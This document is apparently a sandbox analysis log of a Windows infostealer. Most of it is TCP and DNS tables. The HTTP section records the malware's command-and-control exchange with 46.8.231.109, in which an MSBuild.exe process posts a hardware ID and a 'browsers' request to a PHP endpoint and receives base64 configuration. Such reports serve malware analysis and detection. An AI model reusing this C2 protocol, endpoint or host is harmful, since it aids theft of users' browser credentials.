Oct 7, 2024 03:04:33.731908083 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.771224022 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.771272898 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.771370888 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.771406889 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.771433115 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.771500111 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.771564960 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.771593094 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.771620035 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.771634102 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.774230957 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.774298906 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.774373055 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.774492979 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.774518013 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.844844103 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.844943047 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.844995975 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.845031977 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.845032930 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.845032930 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.845083952 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.845139027 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.845175982 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.847877026 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.847976923 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.848052979 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.848244905 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.848294973 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.852289915 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.853985071 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.854022980 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.854376078 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.854387999 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.876724958 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.877943993 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.877959013 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.878338099 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.878348112 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.955903053 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.955964088 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.956007957 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.956171036 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.956171989 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.956239939 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.956326962 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.978049040 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.978101969 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.978178978 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.978216887 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.978276968 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.978343964 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.978435993 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.978435993 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.978467941 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.978494883 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.981364965 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.981448889 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:33.981545925 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.981719017 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:33.981755018 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.038911104 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.038979053 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.039011002 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.039056063 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.039089918 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.039114952 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.039128065 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.039181948 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.039252996 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.039288998 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.039345026 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.039345026 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.039365053 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.039383888 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.042092085 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.042193890 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.042272091 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.042407036 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.042431116 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.394897938 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.396883011 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.396929026 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.397346973 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.397363901 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.448775053 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.451004982 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.451071024 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.451421022 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.451433897 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.491624117 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.491686106 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.491761923 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.491797924 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.491843939 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.491990089 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.492036104 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.492063046 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.492063046 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.492082119 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.492100000 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.494522095 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.494568110 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.494729996 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.494894981 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.494904041 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.527148008 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.532521963 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.532596111 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.533027887 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.533044100 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.552171946 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.553255081 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.553333998 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.553379059 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.553380013 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.553400993 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.553414106 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.556004047 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.556041956 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.556130886 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.556281090 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.556298018 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.618750095 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.622045994 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.622081041 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.622447014 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.622459888 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.635278940 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.635472059 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.635586977 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.635766983 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.635767937 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.635795116 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.635818958 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.638326883 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.638360023 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.638447046 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.638562918 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.638576031 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.718525887 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.718692064 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.719046116 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.719047070 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.719047070 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.721111059 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.721149921 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:34.721209049 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.721343040 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:34.721352100 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.020956993 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.020989895 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.141707897 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.142146111 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.142158031 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.142574072 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.142584085 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.237349033 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.237925053 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.237951040 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.238327980 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.238332987 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.241116047 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.241188049 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.241246939 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.241257906 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.241296053 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.241343021 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.241472960 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.241496086 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.241509914 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.241516113 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.243958950 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.244029999 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.244123936 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.244256973 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.244292974 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.316508055 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.316970110 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.316998005 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.317394018 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.317399025 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.341964960 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.342192888 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.342278004 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.342308044 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.342308044 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.342322111 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.342330933 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.364309072 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.364694118 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.364712000 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.365165949 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.365173101 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.421987057 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.422231913 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.422416925 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.422482967 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.422497988 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.422508001 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.422513008 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.464787960 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.464927912 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.464984894 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.465019941 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.465037107 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.465048075 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.465054989 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.492779970 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.493185997 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.493273020 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.493607998 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.493622065 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.592087030 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.592243910 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.592421055 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.592421055 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.592421055 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.896111965 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.896190882 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.926489115 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.927083969 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.927119970 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:35.927586079 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:35.927598000 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:36.032424927 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:36.032584906 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:36.032656908 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:36.032747030 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:36.032747030 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:36.032790899 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:36.032819033 CEST	443	50008	13.107.246.60	192.168.2.4

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 03:03:22.758369923 CEST	1.1.1.1	192.168.2.4	0x73e3	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 03:03:22.758369923 CEST	1.1.1.1	192.168.2.4	0x73e3	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:03:53.062895060 CEST	1.1.1.1	192.168.2.4	0xc663	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 03:03:53.062895060 CEST	1.1.1.1	192.168.2.4	0xc663	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

46.8.231.109

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	46.8.231.109	80	6904	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:03:03.949309111 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:03:04.570291042 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:03:04.572604895 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGH Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 44 43 38 33 45 41 33 33 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="hwid"34DC83EA33BD3120641781------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="build"default------CGCFCFBKFCFCBGDGIEGH--
Oct 7, 2024 03:03:05.107547045 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 4a 6d 4e 7a 67 7a 5a 6a 6b 35 4f 57 4e 6d 5a 54 59 32 4e 44 64 68 5a 47 55 7a 5a 54 59 33 4e 44 55 30 59 6d 4d 35 4d 6d 49 78 4e 57 55 31 4d 6d 55 31 5a 44 41 79 4d 47 51 32 4e 7a 59 7a 4d 44 49 77 4d 54 49 32 4e 32 56 6a 5a 6a 4a 6a 59 6d 56 6a 59 6d 45 34 4e 7a 51 7a 4d 32 45 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NzJmNzgzZjk5OWNmZTY2NDdhZGUzZTY3NDU0YmM5MmIxNWU1MmU1ZDAyMGQ2NzYzMDIwMTI2N2VjZjJjYmVjYmE4NzQzM2E4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 7, 2024 03:03:05.109391928 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHI Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 32 66 37 38 33 66 39 39 39 63 66 65 36 36 34 37 61 64 65 33 65 36 37 34 35 34 62 63 39 32 62 31 35 65 35 32 65 35 64 30 32 30 64 36 37 36 33 30 32 30 31 32 36 37 65 63 66 32 63 62 65 63 62 61 38 37 34 33 33 61 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 2d 2d 0d 0a Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"72f783f999cfe6647ade3e67454bc92b15e52e5d020d67630201267ecf2cbecba87433a8------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="message"browsers------IIECFHDBAAECAAKFHDHI--
Oct 7, 2024 03:03:05.289458990 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:03:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: 